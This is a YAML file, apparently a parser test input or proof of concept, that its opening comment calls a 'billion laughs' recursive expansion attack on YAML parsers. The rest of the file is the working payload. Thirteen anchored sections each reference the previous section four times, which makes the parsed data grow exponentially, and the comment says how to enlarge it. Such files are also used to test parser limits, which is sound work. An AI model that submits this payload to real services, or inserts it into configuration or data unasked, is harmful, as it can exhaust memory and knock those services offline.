yamlbomb.yaml

# Recursive expansion attack (aka "billion laughs") on a YAML parser
#
# See http://en.wikipedia.org/wiki/Billion_laughs
#
# Want to quadruple the result size? Just add another section.
---
s1: &s1
  a: 
    - 1
    - 2
  b:
    - 1
    - 2
  c:
    - 1
    - 2
  d:
    - 1
    - 2

s2: &s2
  a: *s1
  b: *s1
  c: *s1
  d: *s1

s3: &s3
  a: *s2
  b: *s2
  c: *s2
  d: *s2

s4: &s4
  a: *s3
  b: *s3
  c: *s3
  d: *s3

s5: &s5
  a: *s4
  b: *s4
  c: *s4
  d: *s4

s6: &s6
  a: *s5
  b: *s5
  c: *s5
  d: *s5

s7: &s7
  a: *s6
  b: *s6
  c: *s6
  d: *s6

s8: &s8
  a: *s7
  b: *s7
  c: *s7
  d: *s7

s9: &s9
  a: *s8
  b: *s8
  c: *s8
  d: *s8

s10: &s10
  a: *s9
  b: *s9
  c: *s9
  d: *s9

s11: &s11
  a: *s10
  b: *s10
  c: *s10
  d: *s10

s12: &s12
  a: *s11
  b: *s11
  c: *s11
  d: *s11

s13: &s13
  a: *s12
  b: *s12
  c: *s12
  d: *s12